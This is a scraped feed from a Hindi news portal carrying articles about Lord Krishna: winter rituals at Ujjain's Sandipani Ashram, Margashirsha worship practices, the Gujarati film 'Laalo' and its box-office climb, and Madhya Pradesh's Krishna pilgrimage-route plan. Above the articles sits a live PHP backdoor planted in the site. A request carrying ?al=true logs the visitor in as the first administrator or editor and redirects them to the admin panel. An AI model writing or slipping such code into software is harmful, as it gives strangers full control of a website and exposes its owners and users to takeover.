// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); lord krishna – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sat, 08 Nov 2025 12:39:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 सांदीपनि आश्रम में भगवान कृष्ण के लिए ठंड से बचाव का इंतज़ाम, रखी गई अंगीठी और गर्म वस्त्र https://pratyushaashakinayikiran.com/?p=190092 Sat, 08 Nov 2025 12:39:00 +0000 https://pratyushaashakinayikiran.com/?p=190092 उज्जैन
 विश्व प्रसिद्ध बाबा महाकाल की नगरी मे कई ऐसे धार्मिक स्थल है, जिनकी परम्परा मे मौसम के हिसाब से बदलाव होता है. इन दिनों मध्य प्रदेश सहित पूरे भारत में ठंड का प्रकोप शुरू हो गया है. कई जगह पर कोहरा भी छाया हुआ है. गिरते तापमान के कारण लोगों ने गर्म कपड़े पहनना शुरू कर दिया है. ऐसे में भगवान को भी ठंड से बचने के लिए गर्म कपड़े और अंगीठी लगाई जा रही है. उज्जैन के सांदीपनि आश्रम में भगवान श्री कृष्ण, सुदामा, बलराम और गुरु सांदीपनि को गर्म कपड़े पहनाए गए हैं. उनके आगे अंगारों की जलती हुई अंगीठी भी लगाई गई है. जिससे भगवान को गर्माहट मिलती रहे.

ठंड बढ़ने के साथ ही सांदीपनि आश्रम में भी भगवान श्रीकृष्ण, बलराम और सुदामा के बाल रूप की सेवा-सुश्रुषा में बदलाव किया गया है। भगवान को सर्दी का एहसास न हो, इसलिए आश्रम में उनकी दिनचर्या में ऊनी वस्त्र, गर्म भोजन और संध्या के समय अंगीठी की व्यवस्था की गई है। साथ ही शाम को भगवान को गर्म दूध के साथ जलेबी का भोग भी लगाया जा रहा है।

पुजारी स्व.पं. रूपम व्यास की धर्मपत्नी
 सर्दी में भगवान की पोशाक व भोग आदि में परिवर्तन होता है. भगवान को सर्दी से बचाव के लिए गर्म सामग्री जैसे केसर का दूध, जलेबी आदि का भोग लगाया जाता है. सुबह व शाम ऊनी स्वेटर, टोपा, मोजे आदि गर्म वस्त्र धारण कराए जाते हैं. अलसुबह व शाम के समय सर्दी अधिक होती है, उस समय भगवान अंगीठी तापते हैं. दोनों समय सिगड़ी जलाकर उनके समक्ष रखी जाती है. महर्षि सांदीपनि व गुरुमाता को शाल धारण कराई जा रही है. भगवान को सर्दी से बचाने का यह क्रम बसंत पंचमी के अगले दिन तक चलेगा.

बाल रूप के अनुरूप होती है सेवा

सांदीपनि आश्रम में भगवान श्रीकृष्ण और बलराम की सेवा बाल स्वरूप में की जाती है। पंडित कीर्ति व्यास के अनुसार पौराणिक मान्यता है कि भगवान श्रीकृष्ण ने यहां 11 वर्ष की आयु में शिक्षा ग्रहण की थी। इसलिए आज भी उनकी बाल रूप में सेवा की जाती है। जैसे ही सर्दी बढ़ती है, भगवान को ऊनी वस्त्र पहनाए जाते हैं और प्रतिमा के समीप अलाव की व्यवस्था की जाती है, ताकि ठंड का प्रभाव न पड़े।

मकर संक्रांति तक जारी रहेगा यह क्रम

पंडित व्यास ने बताया कि सूर्यदेव के उत्तरायण होने तक यह विशेष शीतकालीन सेवा जारी रहेगी। आश्रम में रोजाना शाम को अंगीठी जलाकर रखी जाती है और भगवान की सेवा-विधि में गर्माहट प्रदान करने वाले सभी आवश्यक उपाय शामिल रहते हैं।

वर्षो पुरानी है मंदिर की परम्परा 
यह मंदिर काफ़ी प्राचीन है. यहा पर भगवान श्री कृष्णा 11 साल 7 दिन की उम्र में आए थे. उस समय अनादि काल में जब भगवान श्री कृष्णा उज्जैन आए थे. करीब आज से 5267 साल पहले द्वापर युग में जब से यह परम्परा चली आ रही है. उस समय जब गुरु माता उनका ध्यान रखती थी. उन्हें गर्म वस्त्र पहनने के साथ गर्म भोजन करवाती थी. उसी अनुसार पुजारी परिवार संदीपनी वंश परम्परा मे ही है. वही परम्परा हम आज भी निर्वहन कर रहे है.

भोजन के लिए आज भी जलता है चुहला 
भगवान श्री कृष्णा के लिए आज भी मंदिर परिसर मे एक चुहला बना हुआ है. जिसके ऊपर भगवान का शुद्ध भोजन बनता है. रोजाना यहा पर पुजारी परिवार के दुवारा सुबह शाम भोजन बनाने के बाद भगवान को भोजन दिया जाता है. सांदीपनी आश्रण मे करीब 5000 साल पहले श्री कृष्ण बलराम और सुदामा उज्जैन के आश्रम में गुरु संदीपनी से शिक्षा ग्रहण करने आये थे, जिसके बाद श्री कृष्ण ने उज्जैन के संदीपनी आश्रम में रहकर ही 64 दिन में 64 विद्या और 16 कला का ज्ञान सीखा था.

भगवान को गर्म दूध, गाजर का हलवा, जलेबी, गराडू का भोग

सांदीपनि आश्रम में बाल रूप में विराजित भगवान श्री कृष्ण, बलराम और सुदामा को ठंड के दिनों में गर्म कपड़े पहनाने के साथ ही भगवान की दिनचर्या में भी परिवर्तन हो जाता है। भगवान को ठंड शुरू होते ही सुबह भोग में गर्म मीठा दूध, गाजर का हलवा, जलेबी, गराडू के साथ भोग आरती में गर्म लड्डू, बाफले, दाल, चावल और सब्जी का भोग अर्पित किया जाता है।

11 वर्ष की उम्र में शिक्षा ग्रहण की थी

मंदिर के पुजारी कीर्ति व्यास ने बताया कि करीब 5 हजार 200 से भी ज्यादा वर्ष पहले भगवान कृष्ण उज्जैन में महर्षि सांदीपनि से शिक्षा लेने आए थे। तब उनकी उम्र 11 साल 7 दिन थी। यहीं पर उनकी दोस्ती हुई थी सुदामा जी से और भगवान श्री कृष्ण ने 64 दिनों में 64 विद्या और 16 कलाएं आश्रम से प्राप्त की थीं।

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मार्गशीर्ष माह विशेष: भगवान कृष्ण की शंख और तुलसी से होती है आराधना, जानें पूजा विधि https://pratyushaashakinayikiran.com/?p=189848 Fri, 07 Nov 2025 11:20:00 +0000 https://pratyushaashakinayikiran.com/?p=189848 कार्तिक मास के बाद मार्गशीर्ष का महीना आता है। ऐसा कहा जाता है कि सतयुग में देवों ने मार्गशीर्ष से ही नया साल शुरू किया था। इस महीने में भगवान कृष्ण की पूजा का बहुत अधिक महत्व है। इस महीने में तुलसी और शंख से भगवान कृष्ण की पूजा की जाती है। सुबह शाम गायत्री मंत्र का जाप करें। ऐसा कहा जाता है कि अगहन के महीने में विष्णु भगवान का गरुड़ की पीठ पर लक्ष्मी के साथ बैठे हुए भगवान कृष्ण की पूजा करनी चाहिए। इस महीने में धूप, आरती, स्नान, पूजा के समय भगवान ‌विष्णु के आगे घंटा बजाएं। एक शंख लें और उसमें चंदन रखें और महीने में रोज भगवान विष्णु को अर्पित करें। इसके अलावा अगहन में तुलसीदल और आंवला भी भगवान विष्णु को अर्पित करना चाहिए। जो इस तरह भगवान विष्णु की पूजा करता है, उसकी सभी मनोकामनाएं पूरी होती हैं। इस महीने में बेला, चमेली, जही, अतिमुक्ता (माधवी लता), कनेर, वैजयन्ती, विजया, चमेली के गुच्छे से भगवान विष्णु की पूजा करनी चाहिए। इसके अलावा इस महीने में भगवान विष्णु को तुलसी की मंजरियां अर्पित करनी चाहिए। ऐसा करने पर मोक्ष मिलता है।

स्कंदपुराण में लिखा है कि भगवान विष्णु को बिल्वपत्र, शमीपत्र, चमेली और कमल , कौस्तुभमणि से भी ज्यादा तुलसीदल भगवान विष्अणु को अधिक प्रिय हैं। ऐसी तुलसी जिसके पत्ते कटे न हों ओर जो मंजरीके साथ हो, ऐसी तुलसी भगवान विष्णु को लक्ष्मीजी के तरह प्रिय है। इसके अलावा मार्गशीर्ष मास में कपूर से दीपक जलाकर भगवान विष्णु की आरती करनी चाहिए। इसलिए मार्गशीर्ष महीने में भगवान विष्णु और श्रीकृष्ण की विशेष पूजा की जाती है। इस महीने में तीर्थ स्नान जरूर करना चागिए, इससे पुण्य मिलता है और हर तरह के रोग, शोक दूर होते हैं।

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भगवान कृष्ण पर आधारित फिल्म ने तोड़ा ‘थामा’ का रिकॉर्ड, बढ़ी दर्शकों की धूम https://pratyushaashakinayikiran.com/?p=189352 Wed, 05 Nov 2025 10:57:00 +0000 https://pratyushaashakinayikiran.com/?p=189352 मुंबई 

'शोले' से लेकर 'सत्या' तक… ऐसी आइकॉनिक फिल्मों की एक लंबी लिस्ट है जिन्हें शुरुआत में दर्शक बहुत कम मिले. मगर इन फिल्मों को धीरे-धीरे माहौल मिलना शुरू हुआ और अपने थिएट्रिकल रन के अंत में ये ब्लॉकबस्टर साबित हुईं. मगर ये बातें, उस दौर की हैं जब फिल्मों को स्क्रीन्स पर सांस लेने का मौका मिलता था. गलाकाट होड़ वाले मॉडर्न इंडियन सिनेमा में ऐसे उदाहरण कम ही देखने को मिलते हैं.

अब एक बार फिर से एक ऐसा उदाहरण तैयार हो रहा है. भगवान कृष्ण पर बनी एक गुजराती फिल्म 'लालो: कृष्ण सदा सहायते' रिलीज के 20 दिन बाद थिएटर्स में जमकर भीड़ जुटाने लगी है. शुरुआत में दर्शकों को तरस रही ये फिल्म अब गुजराती सिनेमा की सबसे बड़ी फिल्मों की लिस्ट में शामिल होने की रेस में है. 

भगवान कृष्ण से जुड़ी है 'लालो' की कहानी 
डायरेक्टर अंकित सखिया की फिल्म 'लालो', एक ऑटो रिक्शा ड्राईवर की कहानी है. शराब पीने वाला ये ऑटो रिक्शा ड्राईवर एक दिन किसी, दूर-दराज के एक फार्म हाउस में फंस जाता है. उसे कोई बाहर निकालने वाला नहीं मिलता. बिना खाना-पानी के परेशान ये आदमी सर्वाइव करने के लिए जूझ रहा है.  

फंसे रहने के बाद उसे भगवान कृष्ण दिखाई देने लगते हैं. लालो के जीवन में पहले से कई परेशानियां थीं. अब लालो का ये बंधन, उसके आत्म साक्षात्कार का जरिया बनता है. अब वो अपनी मुश्किलों, अपने पछतावों से डील करना शुरू करता है और इस काम में उसे भगवान कृष्ण रास्ता दिखाते हैं. फिल्म में श्रुहद गोस्वामी, रीमा रछ और करण जोशी ने महत्वपूर्ण किरदार निभाए हैं. इनके साथ आकाश पांड्या और मौलिक चौहान का फिल्म में स्पेशल अपीयरेंस है. 

20 दिन बाद रॉकेट बनी फिल्म 
'लालो' 10 अक्टूबर, शुक्रवार को थिएटर्स में रिलीज हुई थी. सैकनिल्क के अनुसार, पहले दिन फिल्म की कमाई करीब 2 लाख रुपये रही. जाहिर सी बात है, गुजराती फिल्मों को उतनी बड़ी रिलीज नहीं मिलती जैसी हिंदी, पंजाबी या तेलुगू-तमिल को मिलती है. थिएटर्स और शोज कम होते ही हैं. मगर एक स्टैंडर्ड गुजराती रिलीज के लिहाज से भी ये ऐसी दमदार ओपनिंग नहीं थी जिससे फिल्म को आगे के लिए कोई खास उम्मीद बंधे. 

मगर 'लालो' को धीरे-धीरे तारीफ मिलनी शुरू हुई और दर्शक भी बढ़ते चले गए. पहले 18 दिनों में फिल्म का कलेक्शन ज्यादातर 5 लाख रुपये से नीचे ही रहा. मगर दिवाली के अगले दिन से इस फिल्म के लिए थिएटर्स में भीड़ जुटनी शुरू हुई. 19वें दिन जाकर फिल्म ने पहली बार 10 लाख रुपये का नेट कलेक्शन किया. इसके बाद फिल्म ने बॉक्स ऑफिस का खेल ही बदल दिया.

हिंदी फिल्मों को टक्कर दे रही 'लालो'
बीता शनिवार 'लालो' के लिए 1 करोड़ रुपये नेट कलेक्शन वाला पहला दिन बना. रविवार को कलेक्शन 85% बढ़ गया और 2 करोड़ के बहुत पास पहुंच गया. मगर इस फिल्म का धमाका तो अभी शुरू ही हुआ था. सोमवार को, जब अधिकतर फिल्मों की कमाई बॉक्स ऑफिस पर गोते खाने लगती है, तब 'लालो' ने ऑलमोस्ट रविवार के बराबर कमाई की. 

बुक माय शो का ट्रेंडिंग टिकर मंगलवार को सुबह बता रहा था कि बीते 24 घंटों में 'लालो' के करीब 39 हजार टिकट बुक हुए हैं. जबकि हिंदी फिल्मों में सबसे ज्यादा टिकट आयुष्मान खुराना की 'थामा' के बिके थे. मगर 36 हजार टिकटों के साथ, 'थामा' भी सोमवार को 'लालो' से पीछे थी. सोमवार को 'लालो' का कलेक्शन, गुजरात से ही आने वाले सीनियर एक्टर परेश रावल की फिल्म 'द ताज स्टोरी' से भी ज्यादा रहा. अब ट्रेड रिपोर्ट्स बता रही हैं कि मंगलवार को पहली बार इसका कलेक्शन 2 करोड़ का आंकड़ा पार कर चुका है. 

अबतक 26 दिन में 'लालो' का नेट इंडिया कलेक्शन 8 करोड़ रुपये से ज्यादा हो चुका है. अनुमान लगाया जा सकता है कि इसका वर्ल्डवाइड ग्रॉस कलेक्शन भी 10 करोड़ के आंकड़े के आसपास पहुंच चुका है. रिपोर्ट्स बताती हैं कि फिल्म का बजट करीब 4 करोड़ रुपये है. यानी ये अभी से सुपरहिट साबित हो चुकी है. मगर दिलचस्प ये है कि अभी तो फिल्म को जंप मिलना शुरू हुआ है. 

गुजराती में ऑलटाइम टॉप 10 सबसे बड़ी फिल्मों के वर्ल्डवाइड कलेक्शन 50 करोड़ से 15 करोड़ रुपये तक हैं. इस लिस्ट में 10वीं यानी आखिरी फिल्म 'बचु नी बेनपणी' है. इसी साल अगस्त में आई इस फिल्म का वर्ल्डवाइड कलेक्शन 15 करोड़ रुपये था. जिस स्पीड से 'लालो' आगे बढ़ रही है, पूरा चांस है कि इस हफ्ते के अंत तक ये 10वें नंबर तक ही नहीं, बल्कि इससे ऊपर भी जाएगी. अब देखना है कि 20 दिन बाद फटने वाला ये गुजराती बम बॉक्स ऑफिस पर और क्या धमाके करता है. 

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मध्य प्रदेश भगवान श्रीकृष्ण के भक्तों के लिए नया तीर्थ बनेगा, सरकार ने की ये शुरुआत https://pratyushaashakinayikiran.com/?p=50330 Thu, 11 Jul 2024 18:10:00 +0000 https://pratyushaashakinayikiran.com/?p=50330 उज्जैन
 ब्रज भूमि की के बाद मध्य प्रदेश श्रीकृष्ण भक्तों के लिए नया तीर्थ बनने जा रहा है। प्रदेश सरकार ने श्रीकृष्ण पाथेय के रूप में इसकी शुरुआत कर दी है। भगवान श्रीकृष्ण प्रदेश में जिन शहरों से होकर गुजरे वहां प्राचीन मंदिर व तीर्थ मौजूद हैं। नए स्थानों पर इस्कान प्रबंधन द्वारा मंदिर बनाए जाएंगे।

श्रीकृष्ण भक्ति के प्रचार प्रसार के लिए इस्कान प्रबंधन द्वारा 17 स्थानों से रथ यात्रा निकाली जा रही है। इस्कान मंदिर के पीआरओ राघव पंडित दास प्रभु ने बताया कि भगवान श्रीकृष्ण उज्जैन के सांदीपनि आश्रम, ग्राम नारायणा, धार के अमझेरा और बदनावर भी आए थे।

भगवान के जहां-जहां चरण पड़े हैं, उन स्थानों को श्रीकृष्ण पाथेय योजना के तहत राज्य सरकार संवारेगी। मुख्यमंत्री डाॅ. मोहन यादव की घोषणा के बाद इन स्थलों को तीर्थ के रूप में विकसित किया जा रहा है। इस्कान मंदिर प्रबंधन भी श्रीकृष्ण गमन पथ के रूप में चिह्नित प्रदेश के प्रमुख शहरों में मंदिर निर्माण की योजना बना रहा है। बदनावर में मंदिर निर्माण शुरू हो चुका है। जल्द ही सागर व बीना में मंदिर निर्माण शुरू होगा।

प्रदेश में कृष्ण भक्ति के प्रचार-प्रसार के लिए इस वर्ष 17 स्थानों से भगवान जगन्नाथ की रथ यात्रा निकाली जाएगी। परम पूज्य भक्त प्रेम स्वामीजी महाराज के मार्गदर्शन में निकाली जा रही इन यात्रा की शुरुआत सात जुलाई को उज्जैन से हुई है। आठ जुलाई को बदनावर व बीना, नौ जुलाई को टीकमगढ़, 10 जुलाई को छिंदवाड़ा में यात्रा निकल चुकी है।

किन शहरों में कब निकलेगी यात्रा

11 जुलाई     अशोक नगर, बालाघाट तथा बड़वानी
12 जुलाई     सिवनी व तराना
13 जुलाई     नागदा व मंदसौर
14 जुलाई     नीमच, गुना व आष्टा
15 जुलाई     उज्जैन में वापसी रथ यात्रा

आषाढ़ शुक्ल द्वितीया से दशमी तक निकलती है यात्रा

जगन्नाथपुरी देव स्थान ट्रस्ट ने आषाढ़ शुक्ल द्वितीया से दशमी तक भगवान जगन्नाथ की यात्रा निकलने की व्यवस्था सुनिश्चित कर रखी है। इसके अनुसार इस्कान मंदिर प्रबंधन द्वारा प्रदेश में द्वितीया से दशमी तिथि तक यात्रा निकाली जा रही है। भगवान के लिए विशेष रथों का इंतजाम भी प्रबंधन कर रहा है।

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